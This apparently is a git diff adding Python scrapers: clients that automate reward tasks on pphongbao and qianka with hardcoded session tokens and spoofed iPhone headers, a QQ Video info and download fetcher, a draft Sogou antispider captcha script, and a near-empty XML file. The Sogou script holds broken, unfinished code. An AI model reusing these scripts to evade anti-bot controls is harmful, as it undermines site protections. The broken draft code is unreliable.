'3lHu6GDZT3cLDA90NDk6wFbDzb3dvkj%2F6UQII%2FN1RVHlRLwrFP2dI3EfT6SFOsq4wPuZmI3CW%2BysJrCMJs4qzVwQZBwjwlsnA%2FMIOd4DD3yihrOJH4qmNnR7VGBRsh7U7s%2BGkrh%2BLSp7wH%2B8OLlSlY7B17SliI1OTr0igTiH31UVnGmO8iDAfVcZZw%2F0AuzRebb3eKdKGSKvUC3RfnWziJJTTDkqxxOxYViVKkDN66KfLFa4h4Tz1NfQbQizMgY4xRPXyJa%2Fm5Vw3Rl1KkJGhZ%2FBzNISHRQkcOY7e2NN32Q2P6WloGKneQDzJzrJvyq0DNl9eGmZS34%3D', + '1c6abf7a3ce9f84965344760d015a2ae': '1', + 'scheme': 'com.sport.aerobico', + } + + @staticmethod + def _get_tc(): + tc = str('%13d' % (time.time() * 1000)) + return tc + + task_list = [] + + def get_list(self): + url = 'http://pphongbao.com/index.php/fasttask/index' + params = {} + + request_headers = HEADERS.copy() + request_headers['Host'] = 'pphongbao.com' + request_headers['Referer'] = 'http://pphongbao.com/' + + request_cookie = self.cookies.copy() + + res = self.s.get( + url, + params=params, + headers=request_headers, + cookies=request_cookie, + timeout=REQUESTS_TIME_OUT, + ) + + print(res.url) + print(res.status_code) + + self.cookies.update(res.cookies) + # print(res.content) + # result = res.json() + # print(json.dumps(result, indent=4)) + + response = Selector(res) + + # 进行中任务 + xpath_list_process = '//ul[@class="type-reserved"]/li[@class!="item-divider pp-flex"]' + res_list_process = response.xpath(xpath_list_process) + + process_result = [] + for item in res_list_process: + data_item = { + 'data_index': item.xpath('./@data-index').extract_first(), + 'data_id': item.xpath('./a/@data-id').extract_first(), + 'data_righttime': item.xpath('./a/@data-righttime').extract_first(), + 'data_amount': item.xpath('./a/@data-amount').extract_first(), + 'item_title': item.xpath('.//div[@class="item-title"]/text()').extract_first(default='').lstrip( + '搜索: '), + } + process_result.append(data_item) + print('进行中的任务') + print(json.dumps(process_result, indent=4, ensure_ascii=False)) + # 任务列表 + xpath_list = '//ul[@class="type-fast"]/li[@class!="item-divider pp-flex"]' + + res_list = response.xpath(xpath_list) + + task_result = [] + for item in res_list: + data_item = { + 'data_index': item.xpath('./@data-index').extract_first(), + 'data_id': item.xpath('./a/@data-id').extract_first(), + 'data_righttime': item.xpath('./a/@data-righttime').extract_first(), + 'data_amount': item.xpath('./a/@data-amount').extract_first(), + 'item_title': item.xpath('.//div[@class="item-title"]/text()').extract_first(default='').lstrip('搜索: '), + } + task_result.append(data_item) + print('新任务') + print(json.dumps(task_result, indent=4, ensure_ascii=False)) + return task_result + + def start_task(self, task_id): + url = 'http://pphongbao.com/index.php/fasttask/startTask' + + sign_task = '' + # TODO + + request_headers = HEADERS.copy() + request_headers['Host'] = 'pphongbao.com' + request_headers['Referer'] = 'http://pphongbao.com/' + request_headers['sign'] = sign_task + + request_cookie = self.cookies.copy() + + form_data = { + 'fast_id': task_id, + '_sysversion': '11.2.6', + '_mobile': '15D100', + '_width': '320', + 'sign': sign_task, + } + + res = self.s.post( + url, + data=form_data, + headers=request_headers, + cookies=request_cookie, + timeout=REQUESTS_TIME_OUT, + ) + print(res.status_code) + print(res.content) + self.cookies.update(res.cookies) + + def get_detail(self, task_id): + url = 'http://pphongbao.com/index.php/fasttask/detail' + params = { + 'fast_id': task_id, + } + + request_headers = HEADERS.copy() + request_headers['Host'] = 'pphongbao.com' + request_headers['Referer'] = 'http://pphongbao.com/' + + request_cookie = self.cookies.copy() + + res = self.s.get( + url, + params=params, + headers=request_headers, + cookies=request_cookie, + timeout=REQUESTS_TIME_OUT, + ) + + print(res.url) + print(res.status_code) + print(res.content) + + def gave_up_task(self, task_id): + url = 'http://pphongbao.com/index.php/fasttask/giveupTask' + request_headers = HEADERS.copy() + request_headers['Host'] = 'pphongbao.com' + request_headers['Referer'] = 'http://pphongbao.com/' + + request_cookie = self.cookies.copy() + + form_data = { + 'fast_id': task_id, + } + + res = self.s.post( + url, + data=form_data, + headers=request_headers, + cookies=request_cookie, + timeout=REQUESTS_TIME_OUT, + ) + print(res.status_code) + print(res.content) + self.cookies.update(res.cookies) + +if __name__ == '__main__': + pphb = PPHB('pg5g7t33ogh0pbvn3n37t54g25') + task_list = pphb.get_list() + for i, task_item in enumerate(task_list): + if i == 0: + # 第一个是收徒,忽略 + continue + pphb_task_id = task_item['data_id'] + print(task_item) + # pphb.start_task(pphb_task_id) + pphb.get_detail(pphb_task_id) + # pphb.gave_up_task(pphb_task_id) + break diff --git a/fuck/qianka.py b/fuck/qianka.py new file mode 100644 index 0000000..1a611c5 --- /dev/null +++ b/fuck/qianka.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: qianka.py +@time: 2018-03-20 17:29 +""" + +from __future__ import print_function +from __future__ import unicode_literals + +import time +import requests +import json + + +REQUESTS_TIME_OUT = (30, 30) + + +HEADERS = { + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D100 Safari/604.1', + 'X-Requested-With': 'XMLHttpRequest', +} + + +class QianKa(object): + task_process_status = {} + + def __init__(self, sid): + self.sid = sid + self.s = requests.session() + self.cookies = { + 'DIS4': self.sid, + } + self.task_id_list = [] + + @staticmethod + def _get_tc(): + tc = str('%13d' % (time.time() * 1000)) + return tc + + def task_list(self): + url = 'https://qianka.com/s4/lite.subtask.list' + params = { + 't': self._get_tc(), + } + + request_headers = HEADERS.copy() + request_headers['Host'] = 'qianka.com' + request_headers['Referer'] = 'https://qianka.com/v4/tasks/lite' + request_headers['X-QK-DIS'] = self.sid + + res = self.s.get( + url, + params=params, + headers=request_headers, + cookies=self.cookies, + timeout=REQUESTS_TIME_OUT, + verify=False, + ) + + print(res.url) + print(res.status_code) + result = res.json() + print(json.dumps(result, indent=4, ensure_ascii=False)) + self.task_id_list = [i['id'] for i in result['payload']['tasks']] + + def task_start(self, task_id): + url = 'https://qianka.com/s4/lite.subtask.start' + + request_headers = HEADERS.copy() + request_headers['Host'] = 'qianka.com' + request_headers['Referer'] = 'https://qianka.com/v4/tasks/lite' + request_headers['X-QK-DIS'] = self.sid + + params = { + 't': self._get_tc(), + 'task_id': task_id, + 'quality': 0, + } + + res = self.s.get( + url, + params=params, + headers=request_headers, + cookies=self.cookies, + timeout=REQUESTS_TIME_OUT, + verify=False, + ) + + print(res.url) + print(res.status_code) + result = res.json() + print(json.dumps(result, indent=4, ensure_ascii=False)) + self.task_process_status[task_id] = result['payload']['type'] + + def check_task_process_status(self, task_id): + while 1: + if task_id not in self.task_process_status: + self.task_start(task_id) + elif self.task_process_status[task_id] != 2: + time.sleep(2) + self.task_start(task_id) + else: + break + + def task_detail(self, task_id): + url = 'https://qianka.com/s4/lite.subtask.detail' + + params = { + 't': self._get_tc(), + 'task_id': task_id, + } + + request_headers = HEADERS.copy() + request_headers['Host'] = 'qianka.com' + request_headers['Referer'] = 'https://qianka.com/v4/tasks/lite' + request_headers['X-QK-DIS'] = self.sid + + res = self.s.get( + url, + params=params, + headers=request_headers, + cookies=self.cookies, + timeout=REQUESTS_TIME_OUT, + verify=False, + ) + + print(res.url) + print(res.status_code) + result = res.json() + print(json.dumps(result, indent=4, ensure_ascii=False)) + + +if __name__ == '__main__': + qk_client = QianKa(sid='06e1b64ca1244f00a1f394d05714d4c3') + qk_client.task_list() + for task_item_id in qk_client.task_id_list: + qk_client.check_task_process_status(task_item_id) + qk_client.task_detail(task_item_id) diff --git a/fuck/qq_video.py b/fuck/qq_video.py new file mode 100644 index 0000000..3a4e11a --- /dev/null +++ b/fuck/qq_video.py @@ -0,0 +1,124 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: qq_video.py +@time: 2018-03-22 16:45 +""" + + +from __future__ import print_function +from __future__ import unicode_literals + +import time +import requests + + +REQUESTS_TIME_OUT = (30, 30) + +HEADERS = { + 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36', + # 'X-Requested-With': 'XMLHttpRequest', +} + + +class QQVideo(object): + def __init__(self, vid): + self.vid = vid + self.s = requests.session() + self.cookies = {} + + @staticmethod + def _get_tc(): + tc = str('%10d' % time.time()) + return tc + + def a(self): + url = 'https://v.qq.com/iframe/preview.html' + params = { + 'vid': self.vid, + 'width': 500, + 'height': 375, + 'auto': 0, + } + request_headers = HEADERS.copy() + # request_headers['Host'] = 'pphongbao.com' + # request_headers['Referer'] = 'http://pphongbao.com/' + + request_cookie = self.cookies.copy() + res = self.s.get( + url, + params=params, + headers=request_headers, + cookies=request_cookie, + timeout=REQUESTS_TIME_OUT, + ) + print(res.status_code) + print(res.content) + + def getinfo(self): + url = 'https://h5vv.video.qq.com/getinfo' + params = { + 'callback': 'tvp_request_getinfo_callback_41129', + 'platform': 11001, + 'charge': 0, + 'otype': 'json', + 'ehost': 'https://v.qq.com', + 'sphls': 0, + 'sb': 1, + 'nocache': 0, + '_rnd': self._get_tc(), + 'guid': 'a30b9989e977cba7534ae35f968152f2', + 'appVer': 'V2.0Build9496', + 'vids': 'a0566mb7a7o', + 'defaultfmt': 'auto', + '_qv_rmt': 'y1mmy6reA12797AGf=', + '_qv_rmt2': 'IpHx2z2m151097kWg=', + 'sdtfrom': 'v1010', + } + + request_headers = HEADERS.copy() + + request_cookie = self.cookies.copy() + res = self.s.get( + url, + params=params, + headers=request_headers, + cookies=request_cookie, + timeout=REQUESTS_TIME_OUT, + ) + print(res.status_code) + print(res.content) + + def b(self): + url = 'http://ugcydzd.qq.com/a0566mb7a7o.mp4' + params = { + 'vkey': '4E2E338D054D1168796D7C2DDDC3952E98BADB5E937E196BA7B8C79FAC0E71CEF22B5E67048213A97FC2D8118BE7184AC5782CA935C05B70673C27D581BAAEAA3430E438B434AFE8FFAA9393E9CC18E4A024D19A2578EC6A6FA4379451620F5E116623C6462662C917D8AE186F22B1865D422902AF8E7140', + 'br': 91, + 'platform': 2, + 'fmt': 'auto', + 'level': 0, + 'sdtfrom': 'v1010', + 'guid': 'a30b9989e977cba7534ae35f968152f2', + } + request_headers = HEADERS.copy() + + request_cookie = self.cookies.copy() + res = self.s.get( + url, + params=params, + headers=request_headers, + cookies=request_cookie, + timeout=REQUESTS_TIME_OUT, + ) + print(res.status_code) + print(res.content) + + +if __name__ == '__main__': + video_url = 'https://v.qq.com/iframe/preview.html?vid=a0566mb7a7o&width=500&height=375&auto=0' + item_vid = 'a0566mb7a7o' + qq_video = QQVideo(item_vid) + qq_video.a() diff --git a/fuck/sogou_antispider.py b/fuck/sogou_antispider.py new file mode 100644 index 0000000..54513a3 --- /dev/null +++ b/fuck/sogou_antispider.py @@ -0,0 +1,169 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: sogou_antispider.py +@time: 2017/11/28 下午11:55 +""" + + +import time +import json +import math +import random +import requests +from HTMLParser import HTMLParser + + +html_parser = HTMLParser() + + +headers = { + 'Host': 'www.sogou.com', + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' +} + + +s = requests.session() + + +antispider_url = 'http://www.sogou.com/antispider/' + + +def _get_tc(): + tc = str('%13d' % (time.time() * 1000)) + return tc + + +def _get_antispider_page(): + r_g = s.get(antispider_url, headers=headers) + cookies = r_g.cookies + PHPSESSID = cookies.get('PHPSESSID') + ABTEST = cookies.get('ABTEST') + IPLOC = cookies.get('IPLOC') + SUID = cookies.get('SUID') + SUIR = cookies.get('SUIR') + + print 'ABTEST', ABTEST + print 'SUID', SUID + return ABTEST, SUID + + +def _get_a(): + a_url = 'http://pb.sogou.com/pv.gif' + a_data = { + 'uigs_productid': 'webapp', + 'type': 'antispider', + 'subtype': 'verify_page', + 'domain': 'sogou', + 'suv': '', + 'snuid': '', + 't': _get_tc(), + 'pv': '', + } + res = s.get(a_url, params=a_data) + SUV = res.cookies.get('SUV') + print 'SUV', SUV + return SUV + + +def _get_b(): + pass + + +def _h(a, b): + return math.floor(random.random() * (b - a) + a) + + +def _get_sn(abtest, suid): + e = int(abtest[0]) + SN = suid[e, _h(e, len(suid)) + 1] + print 'SN', SN + return SN + + +def _get_sn_uid(abtest, suid): + url = 'http://www.sogou.com/antispider/detect.php' + tc = _get_tc() + data = { + 'sn': _get_sn(abtest, suid), + '_': tc + } + random_dict = {} + + int(random.random(), base=36) + + +def _get_code_img(): + img_headers = dict(headers, **{ + 'Referer': 'http://www.sogou.com/antispider/', + 'Pragma': 'no-cache' + }) + + img_tc = _get_tc() + img_url = 'http://www.sogou.com/antispider/util/seccode.php?tc=%s' % img_tc + print img_tc + print img_url + + # 保存验证码图片 + img_name = 'sogou_%s.jpg' % img_tc + img_r_g = s.get(img_url, headers=img_headers) + print img_r_g.cookies.__dict__ + img_content = img_r_g.content + with open(img_name, 'w') as f: + f.write(img_content) + time.sleep(3) + + +def _post_code_form(verify_code): + + form_headers = dict(headers, **{ + 'X-Requested-With': 'XMLHttpRequest', + 'Origin': 'http://www.sogou.com', + 'Referer': 'http://www.sogou.com/antispider/', + 'Pragma': 'no-cache' + }) + print form_headers + url = 'http://www.sogou.com/antispider/thank.php' + data = { + 'c': verify_code, + 'r': '', + 'v': 5 + } + r_p = s.post(url, data=data, headers=form_headers) + r_p_json = json.loads(r_p.content) + # {"code": 3,"msg": "验证码输入错误, 请重新输入!"} + # {"code": 2,"msg": "未知访问来源"} + print r_p_json + if r_p_json.get('code') == 0: + print u'识别成功' + else: + print r_p_json.get('msg') + return True if r_p_json.get('code') == 0 else False + + +def fuck(c=3): + ABTEST, SUID = _get_antispider_page() + SUV = _get_a() + + SNUID = _get_sn_uid(ABTEST, SUID) + + while c >= 0: + _get_code_img() + + verify_code = raw_input('verify_code') + res = _post_code_form(verify_code) + if res: + break + c -= 1 + + +if __name__ == '__main__': + fuck() + + +""" +注意 js substr substring 区别 +""" diff --git a/fuck/tyc-num.xml b/fuck/tyc-num.xml new file mode 100644 index 0000000..de2b3ce --- /dev/null +++ b/fuck/tyc-num.xml @@ -0,0 +1,22813 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 